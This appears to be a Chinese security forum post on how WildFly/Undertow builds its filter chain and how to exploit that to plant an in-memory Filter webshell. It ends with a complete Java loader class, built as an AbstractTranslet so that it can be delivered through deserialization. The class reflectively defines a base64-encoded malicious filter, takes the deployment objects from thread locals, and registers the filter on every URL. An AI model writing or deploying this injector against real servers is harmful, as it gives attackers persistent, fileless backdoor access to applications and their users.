Wildfly内存马

1、环境搭建

WildFly,原名 JBoss AS (JBoss Application Server) 或者 JBoss,是一套应用程序服务器,属于开源的企业级 Java 中间件软件,用于实现基于 SOA 架构的 Web 应用和服务。 WildFly 包含一组可独立运行的软件。

本文主要分析该中间的Filter内存马,以及如何编写该中间的Filter内存马

wildfly 26.1.3

创建HelloFilter

2、Filter分析

在Servlet打下断点,查看调用栈

在调用栈中寻找第一次doFilter()出现的地方,io.undertow.servlet.handlers.FilterHandler中第一次调用了doFilter,关注fiterChain是如何生成的。

new FilterHandler.FilterChainImpl(exchange, filters, this.next, this.allowNonStandardWrappers);

通过该函数生成fiterChain,其中传入的关键参数是filters,关注filters

filters通过this.filters.get(dispatcher)生成的。关注this.filters是如何生成的。

this.filters是通过构造方法传入一个形参为filters的参数生成的,在此打个断点。看调用栈,关注哪里调用了该构造方法。

io.undertow.servlet.handlers.ServletPathMatches::createHandler这里实例化了个FilterHandler。在看到这里形参filters的位置传入的是noExtensionnoExtension来自于

createHandler函数的形参List<ManagedFilter>> noExtension,关注哪里调用了createHandler()

io.undertow.servlet.handlers.ServletPathMatches::setupServletChains中调用了creatHandler,分析setupServletChains

setupServletChains中的addToListMap(noExtension, filterMapping.getDispatcher(), filter);,会生成ListMap。List中的元素形入 <filterMapping.getDispatcher()filter>,关注filterMappingfilter是怎么生成的。

往上跟会看到如下代码。分别分析filterMappingfilter是如何生成的。


1、分析filterMapping

先分析filterMapping,可以看出filterMapping其实是来自deploymentInfo

继续往上看的话,deploymentInfo是通过this.deployment.getDeploymentInfo()获取的。可以理解为filterMapping来自于deploymentInfo,而deploymentInfo来自于deployment

回过头来跟进看一下deploymentInfo.getFilterMappings()getFilterMappings该函数从deploymentInfo中获取其filterUrlMappings(ArrayList类型)其元素类型为FilterMapingInfo

FilterMapingInfo如下。

deploymentInfo中有insertFilterUrlMapping方法,用于往filterUrlMappings中添加FilterMappingInfo类型的元素。

2、分析filter

filter通过filters.getManagedFilter(filterMapping.getFilterName());获取的。

而这里的filters来自于this.deployment.getFilters(),这里需注意一个点,this.deployment.getFilters()返回是一个ManagedFilters类型的对象。

因此filters.getManagedFilter(filterMapping.getFilterName()) 实际可以理解为this.deployment.getFilters().getManagedFilter(filterMapping.getFilterName())

跟进getManagedFilter方法,io.undertow.servlet.core.ManagedFilters::getManagedFilter

该方法从managedFilterMap中获取一个ManagedFilter类型的对象

而在ManagedFilters中还有另一个方法addFilter,往managedFilterMap中添加数据,其参数为FilterInfo类型的变量。


综上所述,不管是filter还是filterMapping,都得从deployment出发,关注deployment是如何生成的

io.undertow.servlet.handlers.ServletPathMatches的构造方法中传入deployment,打下断点,重启服务器。观察调用栈

跟到io.undertow.servlet.core.DeploymentImpl

DeploymentImpl的构造方法中调用了new ServletPathMatches,同时构造方法还是传入参数deploymentInfo。关注调用栈。

这里实例化了一个DeploymentImpl对象,传入deploymentInfo,deploymentInfo来自于this.originalDeployment.clone()

跟进clone(),这里通过addFilter(),传入FilterInfo类型的数据,那么可以理解为获取到DeploymentInfo后,可以通过addFilter(),添加FilterInfo数据。

跟进FilterInfo,可以通过new FilterInfo(FilterName,evilFilter)的形式实例化一个FilterInfo

3、编写内存马

思路

1获取到deployment
2获取到deploymentInfo
3实例化一个新的FilterInfo,即FilterInfo filterinfo = new FilterInfo(filternme,filter)
4deploymentinfo.addFilter(filterinfo)
5deploymentinfo.insertFilterUrlMapping(0,filterName,url, DispatcherType.REQUEST)
6deployment.getFilters().addFilter(filterinfo)
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import io.undertow.servlet.api.Deployment;
import io.undertow.servlet.api.DeploymentInfo;
import io.undertow.servlet.api.FilterInfo;
import io.undertow.servlet.handlers.ServletRequestContext;
import io.undertow.servlet.spec.HttpServletResponseImpl;
import io.undertow.servlet.spec.ServletContextImpl;
import sun.misc.BASE64Decoder;

import javax.servlet.DispatcherType;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;

public class WildflyFilterLoader extends AbstractTranslet {

    private static ServletContextImpl servletContext;
    private static HttpServletResponseImpl response;
    private static DeploymentInfo deploymentInfo;
    private static Deployment deployment;
    private static String filterName = "HFilter";
    private static String filterClassName = "com.server.HFilter";
    private static String url = "/*";

    private static synchronized void LoadFilter() throws Exception {
        try{
            Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
        }catch (Exception e){
            Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
            a.setAccessible(true);
            byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class | base64");
            a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
        }
    }

    //获取上下文
    public static synchronized void GetWebContent() throws Exception {
        try{
            try{
                Thread thread = Thread.currentThread();
                Object threadLocals = GetField(thread, "threadLocals");
                Object table = GetField(threadLocals, "table");
                for(int i = 0; i<= Array.getLength(table)-1; i++){
                    try{
                        Object object = Array.get(table, i);
                        Object value = GetField(object, "value");
                        if (value.getClass().getName().contains("ServletRequestContext")){
                            ServletRequestContext servletRequestContext = (ServletRequestContext) value;
                            response = (HttpServletResponseImpl) GetField(servletRequestContext, "originalResponse");
                            servletContext = (ServletContextImpl) GetField(servletRequestContext, "currentServletContext");
                            deploymentInfo = (DeploymentInfo) GetField(servletContext, "deploymentInfo");
                            deployment = (Deployment) GetField(servletContext, "deployment");
                            break;
                        }
                    }catch (Exception e){}
                }
            }catch (Exception e){

            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    private static synchronized void InjectFilter() throws Exception {
        try{
            if(deployment != null && deploymentInfo != null){
                Class characterEncodingHFilter = Thread.currentThread().getContextClassLoader().loadClass(filterClassName);
                FilterInfo filterInfo = new FilterInfo(filterName,characterEncodingHFilter);
                deploymentInfo.addFilter(filterInfo);
                deploymentInfo.insertFilterUrlMapping(0,filterName,url, DispatcherType.REQUEST);
                deployment.getFilters().addFilter(filterInfo);
                response.addHeader("Status","Work");
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }

    static {
        new WildflyFilterLoader();
    }

    public WildflyFilterLoader(){
        try{
            LoadFilter();
            GetWebContent();
            InjectFilter();
        }catch (Exception e){

        }
    }

    private static synchronized Object GetField(Object o, String k) throws Exception{
        Field f;
        try {
            f = o.getClass().getDeclaredField(k);
        } catch (NoSuchFieldException e) {
            try{
                f = o.getClass().getSuperclass().getDeclaredField(k);
            }catch (Exception e1){
                f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
            }
        }
        f.setAccessible(true);
        return f.get(o);
    }


    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}
点击收藏 | 2 关注 | 1 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖